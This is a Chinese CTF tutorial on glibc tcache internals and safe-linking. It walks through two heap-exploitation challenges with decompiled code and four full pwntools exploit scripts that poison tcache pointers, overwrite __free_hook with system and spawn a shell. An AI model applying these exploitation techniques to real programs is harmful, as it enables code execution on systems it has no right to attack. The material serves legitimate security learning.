Tcache的结构

我们看看libc2.31的源码其相关的定义

#if USE_TCACHE
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */#字面意思
# define TCACHE_MAX_BINS		64
# define MAX_TCACHE_SIZE	tidx2usize (TCACHE_MAX_BINS-1)

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */#意思大概就是他利用释放后堆块的内存去储存这个结构,不会新调用内存
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */#和字面意思一样,这个key值防止double free
  struct tcache_perthread_struct *key;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */#重要的应该就是这个tcache是每个线程都有一个吧,其他的应该是字面意思
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;

TCACHE_MAX_BINS这个宏大小被定义为64,也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小,0x40个uint16_t数组大小是0x80,有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240,区别在count的定义上,之前的类型是char)个可写内存,实际的堆块大小应该是0x290,下面我们看看这个tcache结构是放在哪的。

static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);#tcache结构的大小给了bytes

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);#获取一个可用的 arena
  victim = _int_malloc (ar_ptr, bytes);#分配对应大小的内存,也就是0x290
  if (!victim && ar_ptr != NULL)#如果第一次分配失败就再试一次
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }


  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */#字面意思
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;#把对应内存的指针给tcache
      memset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零
    }

}

再后面的部分我就先用宏观的角度讲讲吧,先不结合源码讲了,tcache的链表的堆块大小从0x20一直到0x410,一共0x40个堆块,符合我们在上面看见的宏定义,如果大于这个范围那就不会进tcache,并且每个链表的堆块最大只有7个,比如0x20个堆块,他最多储存7个0x20大小的堆,剩下如果还有,那就不会进tcache。另外还要注意的就是,在libc2.41之前calloc申请堆块是不会走tcache的,也就是如果calloc申请堆块,他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)

其他特性基本与fastbin相同,单向链表,先进后出,头插法。要注意的就是在libc2.28之前tcache没有那个key值,所以可以随意double free,后面再关键一点的转变就是2.32的safelinking机制了,safelinking简单来说就是对next指针进行了加密,不能直接改成堆/目标地址了,他的加密过程的代码如下

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

就是加密值 = next原本指向的地址 ^ (next指针的地址>> 12)next原本应该指向的地址就是下一个堆块的地址,所以在有safelinking的时候我们攻击就还需要泄露堆地址。

攻击

攻击有两种大方向,第一种是通过uaf,堆溢出,off by one/null + overlap直接改next指针,在libc2.32前我们只需要free大小相同的堆块a,free堆块b然后修改b堆块的next指针改成目标地址即可,不需要在目标地址伪造堆块,而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时,因为他只检测第一个堆块的合法性,没有检查其他堆块,所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击

polarctf-unk

因为这题漏洞很多就拿来练手了可以去靶场下载,去pwn那个方向搜一下就好(远程是2.23)PolarD&N,我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf,有堆溢出,可以show,以及随意申请任意大小的堆块。我把反编译的代码贴出来。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  while ( 1 )
  {
    menu();
    switch ( get_num() )
    {
      case 1:
        add_chunk();
        break;
      case 2:
        delete_chunk();
        break;
      case 3:
        edit_chunk();
        break;
      case 4:
        show_chunk();
        break;
      case 5:
        exit(0);
      default:
        puts("invalid choice.");
        break;
    }
  }

menu就是打印一些提示

int __cdecl get_num()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x10u);
  return atoi(buf);
}
void __cdecl add_chunk()
{
  int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  puts("index:");
  index = get_num();
  puts("size:");
  size = get_num();
  chunk_list[index] = (char *)malloc(size);
}
void __cdecl delete_chunk()
{
  int index; // [rsp+Ch] [rbp-4h]

  puts("index:");
  index = get_num();
  free(chunk_list[index]);
}
void __cdecl edit_chunk()
{
  int index; // [rsp+8h] [rbp-8h]
  int length; // [rsp+Ch] [rbp-4h]

  puts("index:");
  index = get_num();
  puts("length:");
  length = get_num();
  puts("content:");
  read(0, chunk_list[index], length);
}
void __cdecl show_chunk()
{
  int index; // [rsp+Ch] [rbp-4h]

  puts("index:");
  index = get_num();
  puts(chunk_list[index]);
}

思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址,然后free一个堆块,free第二个堆块,改第二个堆块的next指针为freehook,申请两下申请到freehook的地址,然后往一个堆块里写一个/bin/sh\x00字符串,free掉这个堆块即可getshell

我选的版本是2.31-0ubuntu9.18,exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:")
    sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1ecfd0
ph(libcbase)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
free(1)
edit(1,0x8,p64(fh))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()

接下来patchelf改成2.32然后再打一遍,看看safelinking怎么绕过,我选的版本是2.32-0ubuntu3_amd64,这里有两种绕过办法,因为我这里可以进unsortedbin,因为safelinking不在unsortedbin生效,所以这里我们直接就可以有堆地址,算出来偏移再^即可

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:")
    sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1e3ff0
ph(libcbase)
edit(0,0x10,b'b'*0x10)
show(0)
ru(0x10*b'b')
heap=u6(4)+0x430
ph(heap)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
free(1)
ph(fh)
dbg()
edit(1,0x8,p64(fh^(heap>>12)))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()

第二种办法就是不用unsortedbin泄露,直接用tcache泄露。只需要在第一次堆块进入之后show一次即可,为什么?因为第一次进入时第一个堆块的next指针是没值的,也就是0,0^(next指针的地址>>12)这个值就是next指针的地址>>12,我们<<12就是一个堆地址(但是一般不是next指针的地址)了,当然如果不需要堆地址的话也可以直接拿来异或。

2.32的exp如下

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:")
    sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1e3ff0
ph(libcbase)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
show(0)
rcl()
heap=u6(3)
ph(heap)
free(1)
edit(1,0x8,p64(fh^(heap)))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()

下面我们来看一道跟tcache结构相关的题。

tcache结构相关的题

这题给不懂tcache的我来了一个大大的震撼,直接手足无措,其实还是挺简单的但是比较看布局,libc版本是2.31,保护全开。伪代码我就贴在下面了

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int n3; // eax

  init_data(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      n3 = menu();
      if ( n3 != 3 )
        break;
      show();
    }
    if ( n3 > 3 )
    {
LABEL_10:
      puts("something wrong!");
    }
    else if ( n3 == 1 )
    {
      add();
    }
    else
    {
      if ( n3 != 2 )
        goto LABEL_10;
      delete();
    }
  }
}

普通的菜单,没什么好说的

int menu()
{
  char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Ez_N0t3_B00k?");
  puts("1.add");
  puts("2.dele");
  puts("3.show");
  puts("4.exit");
  puts("plz input:");
  input(nptr, 8);
  return atoi(nptr);
}
__int64 __fastcall input(void *p_nptr, __int64 n8)
{
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = read(0, p_nptr, (unsigned int)n8);
  if ( v3 < 0 )
  {
    puts("error");
    exit(-1);
  }
  return (unsigned int)v3;
}

这个input是没有off by one/null的

__int64 show()
{
  int n4; // [rsp+Ch] [rbp-14h]
  char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  input(nptr, 8);
  n4 = atoi(nptr);
  if ( n4 > 4 )
  {
    puts("index error");
    exit(-1);
  }
  if ( *(&heap + n4) )
  {
    puts("content:");
    write(1, *(*(&heap + n4) + 8LL), **(&heap + n4));
  }
  else
  {
    puts("error");
  }
  return 0;
}

输入3进入show,这里看着好像有一个数组越界,但其实是没有的,可以看汇编

.text:0000000000001751                 mov     [rbp+var_14], eax
.text:0000000000001754                 cmp     [rbp+var_14], 0
.text:0000000000001758                 js      short loc_1760
.text:000000000000175A                 cmp     [rbp+var_14], 4
.text:000000000000175E                 jle     short loc_1776

这里有两个跳转第一个是JS如果为负数就会直接跳转了,所以是不能数组越界的。

__int64 add()
{
  int n4; // [rsp+8h] [rbp-18h]
  unsigned int size; // [rsp+Ch] [rbp-14h]
  char size_4; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( n4 = 0; n4 <= 4 && *(&heap + n4); ++n4 )
    ;
  if ( n4 == 5 )
  {
    puts("No space!");
    return 0;
  }
  else
  {
    puts("length:");
    input(&size_4, 8);
    size = atoi(&size_4);
    if ( size <= 0x25F || size > 0x300 )
    {
      puts("No size like that!");
      exit(-1);
    }
    *(&heap + n4) = malloc(0x20u);
    **(&heap + n4) = size;
    *(*(&heap + n4) + 8LL) = malloc(size);
    puts("content:");
    read(0, *(*(&heap + n4) + 8LL), size - 1);
    printf("What's this:%ld\n", *(*(&heap + n4) + 8LL) & 0xFFFLL);
    return 0;
  }
}

输入1进入add,malloc(0x20)相当于创建了个结构体userdata的位置是size(也就是free后堆块fd指针的位置),userdata+8的位置是我们真正能控制申请大小堆块的位置(也就是free后堆块bk指针的位置),这里还有申请的大小限制,目前来看是没有漏洞的。

__int64 delete()
{
  int n4; // [rsp+Ch] [rbp-14h]
  char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  input(nptr, 8);
  n4 = atoi(nptr);
  if ( n4 > 4 )
  {
    puts("index error");
    exit(-1);
  }
  if ( *(&heap + n4) )
  {
    free(*(&heap + n4));
    free(*(*(&heap + n4) + 8LL));
    **(&heap + n4) = 0;
    *(*(&heap + n4) + 8LL) = 0;
    *(&heap + n4) = 0;
  }
  else
  {
    puts("error");
  }
  return 0;
}

选2进入delete函数,这里乍一看也没有漏洞啊,不是很好的清零了么,确实没有简单的UAF了,然后主程序也没有其他函数了,没有edit函数。那接下来怎么办了呢?这里其实是有一个UAF漏洞的,漏洞就在他先free(*(&heap + n4));,再 free( *( *(&heap + n4) + 8LL));这就会产生一个问题,他先free掉这个结构体的地址的堆块(就先叫堆块a吧),再free掉a这个堆块bk指针位置的堆块。他忘记了一个堆块free之后,他的fd,bk指针位置的值是会被赋值的,而这个堆块a的大小是0x20,会进tcache,而我们上面讲了tcache这个结构也是一个堆块(大小是0x280),这样他就莫名其妙帮我们把tcache结构体释放了,我们如果再申请一个类似大小的堆块就可以往tcache结构体里写值,直接可以任意地址申请堆块了。但这题开了pie导致没那么简单写,但是需要注意的是,我们申请堆块不要把整个堆块的结构破坏了,不然会报错。

大题思路就是先得到堆地址,要布局一个堆块使其的指针指向tcache_perthread_struct,改tcache_perthread_struct把count改成7以上保证tcache_perthread_struct进入unsortedbin,直接show另一个堆块泄露出libc基地址,后面再改tcache_perthread_struct让0x30的链表和我们申请堆块大小的链表形成一个overlapping,然后在0x30链表的堆块上写出来一个/bin/sh\x00,再改tcache_perthread_struct前面在我们申请的堆块大小的链表上放上freehook,然后申请出来写成system,最后free我们写出来了/bin/sh\x00字符串的堆块即可getshll

exp如下

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"plz input:")
    slr(1)
    ru(b"length:")
    slr(s)
    ru(b"content:")
    sd(a)
def free(s):
    ru(b"plz input:")
    slr(2)
    ru(b"index:")
    sdr(s)
def show(s):
    ru(b"plz input:")
    slr(3)
    ru(b"index:")
    slr(s)
    ru(b"content:\n")
add(0x300,b'b')
free(0)
add(0x280,b'7')
show(0)
rc(0x88)
heap=u6(7)
ph(heap)
free(0)
tar1=heap-0x2a0
tar=heap+0x390
pay=p16(7)*0x40+p64(tar)*0x2c+p64(tar1)*0x14
add(0x280,pay)
add(0x2e0,p64(0)+p64(0x291))
free(0)
show(1)
rc(0x18)
libcbase=u6(6)-0x1dcbe0-0x10000
sy=libcbase+libc.sym['system']
fh=libcbase+libc.sym['__free_hook']
ph(libcbase)
ta=heap+0x10
pay=p16(1)*4+p64(0x291)+p16(1)*0x3c+p64(ta)*0x2a+p64(ta-0x20)*0x16
add(0x2f0,pay)
add(0x2f0,p64(0)*3+p64(0x31)+b'/bin/sh\x00')
free(0)
pay=p16(1)*4+p64(0x291)+p16(1)*0x3c+p64(ta+0x30)*0x2a+p64(fh)*0x16
add(0x280,pay)
add(0x2f0,p64(sy))
free(2)
ti()

感觉这题还挺有意思的.


原文地址: https://www.cveoy.top/t/topic/qGl8 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录